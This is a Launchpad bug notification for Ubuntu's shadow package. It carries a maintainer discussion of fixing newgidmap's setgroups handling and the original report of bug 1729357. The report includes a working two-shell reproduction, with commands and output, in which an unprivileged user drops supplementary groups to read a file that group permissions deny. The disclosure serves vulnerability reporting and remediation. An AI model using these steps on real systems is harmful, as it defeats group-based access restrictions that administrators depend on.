> Thanks for replying Eric, but I'm having trouble reproducing what you've > posted. I can't write the gid map until I've written deny to > /prod/$pid/setgroups, not the other way around. There might be some nuance > I've missed.
Yes, this is a security feature. setgroups must be written to *before* gid_map (the reason for this is explained further in user_namespaces(7)). And only privileged users are allowed to write to gid_map if setgroups is set to allow. > Also, newgidmap will allow a user to map their own GID to 0 in the user > namespace, even when there is no entry for that user in /etc/subgid. This is something that is generally required for a container to function, and isn't fundamentally a security issue because users are already allowed to do that without privileges (this is how rootless containers and LXC unprivileged containers work) -- *unless* in this mode newgidmap is setting setgroups=allow (in which case this is a major security problem). > What if newgidmap wrote "deny" to /proc/$pid/setgroups unless the user is > whitelisted in some config file, probably separate from /etc/subgid, as > Stéphane suggested? :+1: I'd prefer if we implemented this by changing the /etc/subgid schema so that rather than having the format user:id:id_cnt It has the format user:id:id_cnt[:flagA,flagB,...] And we define flags "allow_setgroups" and "deny_setgrouops" (with "deny_setgroups" being the default). This way, administrators can be *explicit* about the denial, we don't add any new configuration files, and it's backwards compatible (with security being opt-out). I imagine making deny_setgroups might be a *bit* contentious, but in the worst case we could have a migration script that asks users (or just add a document about it to the logfile for the upgrade). -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to shadow in Ubuntu. https://bugs.launchpad.net/bugs/1729357 Title: unprivileged user can drop supplementary groups Status in shadow package in Ubuntu: Confirmed Bug description: Distribution: Ubuntu 16.04.3 LTS Kernel: 4.4.0-97-generic uidmap package version: 1:4.2-3.1ubuntu5.3 The newgidmap setuid executable allows any user to write a single mapping line to the gid_map of a process whose identity is the same as the calling process, as long as that mapping line maps the process's own GID outside of the user namespace to GID 0 inside the user namespace. Newgidmap will write the mapping regardless of the content of /proc/$process_being_mapped/setgroups, which will initially contain the string "allow". After this mapping is performed, and also after the process' uid_map is written with newuidmap, the process in the user namespace will be able to use the setgroups system call to drop supplementary groups. This is possible even if there is no entry for the user in /etc/subgid, because no subordinate GIDs are actually being used. This allows any user to circumvent the use of supplementary groups as blacklists, e.g. for some file owned by root:blacklist with permission bits 0604 (octal). Normally any process whose identity included the group "blacklist" in its supplementary groups would not be able to read that file. By performing this exploit using newgidmap, they can drop all supplementary groups and read that file. If newgidmap was not available, unprivileged users would not be able to write a process's gid_map until writing "deny" to /proc/$pid/setgroups. A fix for this might be for newgidmap to check the content of /proc/$process_being_mapped/setgroups is "deny", but we have not tried to patch this ourselves. An example using 2 login shells for a user named "someone" on Ubuntu Xenial, with the uidmap package installed: Shell 1 someone@ubuntu-xenial:~$ id uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted) someone@ubuntu-xenial:~$ ls -al /tmp/should_restrict -rw----r-- 1 root restricted 8 Nov 1 12:23 /tmp/should_restrict someone@ubuntu-xenial:~$ cat /tmp/should_restrict cat: /tmp/should_restrict: Permission denied someone@ubuntu-xenial:~$ unshare -U --setgroups allow # /proc/self/setgroups already contains 'allow', but let's be explicit nobody@ubuntu-xenial:~$ echo $$ 1878 Shell 2 someone@ubuntu-xenial:~$ cat /etc/subuid lxd:100000:65536 root:100000:65536 ubuntu:165536:65536 someone@ubuntu-xenial:~$ cat /etc/subgid lxd:100000:65536 root:100000:65536 ubuntu:165536:65536 # There are no entries in /etc/sub{u,g}id for someone, but this doesn't matter that much as subordinate IDs are not being requested. someone@ubuntu-xenial:~$ newuidmap 1878 0 1001 1 someone@ubuntu-xenial:~$ newgidmap 1878 0 1001 1 Back to shell 1 nobody@ubuntu-xenial:~$ id uid=0(root) gid=0(root) groups=0(root),65534(nogroup) # The presence of the "nogroup" supplementary group indicates that some unmapped GIDs are present as supplementary GIDs. The kernel knows that this process still has "restricted" in its supplementary groups, so it can't read the restricted file yet. nobody@ubuntu-xenial:~$ cat /tmp/should_restrict cat: /tmp/should_restrict: Permission denied # The process has gained CAP_SETGID in its user namespace by becoming UID 0. /proc/$pid/setgroups contains "allow", so it can call setgroups(2). By su-ing to root (itself, in the user namespace), it can drop the supplementary groups. It can't read /root/.bashrc as that file is owned by UID 0 in the initial user namespace, which creates some distracting error output but doesn't matter in this case. nobody@ubuntu-xenial:~$ su root su: Authentication failure (Ignored) bash: /root/.bashrc: Permission denied # Supplementary groups have been dropped root@ubuntu-xenial:~# id uid=0(root) gid=0(root) groups=0(root) # It can read the restricted file root@ubuntu-xenial:~# cat /tmp/should_restrict content To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
